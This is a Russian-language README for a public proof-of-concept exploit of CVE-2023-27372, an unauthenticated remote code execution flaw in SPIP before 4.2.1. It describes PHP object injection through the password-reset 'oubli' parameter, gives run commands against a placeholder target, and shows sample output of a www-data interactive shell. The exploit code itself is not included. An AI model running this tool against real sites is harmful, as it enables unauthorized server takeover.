CVE-2023-27372 — SPIP < 4.2.1 Неаутентифицированное RCE (PoC)

Уязвимость удаленного выполнения кода без аутентификации в SPIP до версии 4.2.1. Параметр oubli в форме сброса пароля уязвим для внедрения PHP-объектов из-за некорректной десериализации. Сформированная сериализованная полезная нагрузка выполняется на стороне сервера от имени веб-пользователя, а результат отражается обратно в ответе внутри значения поля ввода oubli.

---

Как это работает

1. Получает анти-CSRF токен из /spip.php?page=spip_pass.
2. Отправляет POST-запрос с сериализованной PHP-полезной нагрузкой, внедрённой в параметр oubli.
3. Извлекает вывод команды из отражённого атрибута value в ответе.
4. Запускает цикл для интерактивного выполнения команд, обновляя CSRF-токен при каждом запросе.

Требования

• Python 3
• Установите зависимости:

python3 -m venv venv
source venv/bin/activate
python3 -m pip install requests beautifulsoup4 prompt_toolkit

Использование

python3 exploit.py -u http://TARGET/spip

Пример:

$ python3 exploit.py -u http://10.10.10.10/spip
[*] Получение анти-CSRF токена...
[*] Проверка выполнения команд...
[+] Цель уязвима! Вывод: uid=33(www-data) gid=33(www-data) groups=33(www-data)
[+] Оболочка открыта. Введите 'exit' или Ctrl+C для выхода.

Shell> whoami
www-data

Ссылки

• CVE-2023-27372
• Оригинальный PoC от nuts7
• Примечания к выпуску SPIP

Благодарности

• Обнаружение и оригинальный эксплойт: nuts7
• Доработка и интерактивная оболочка: Esteban Zárate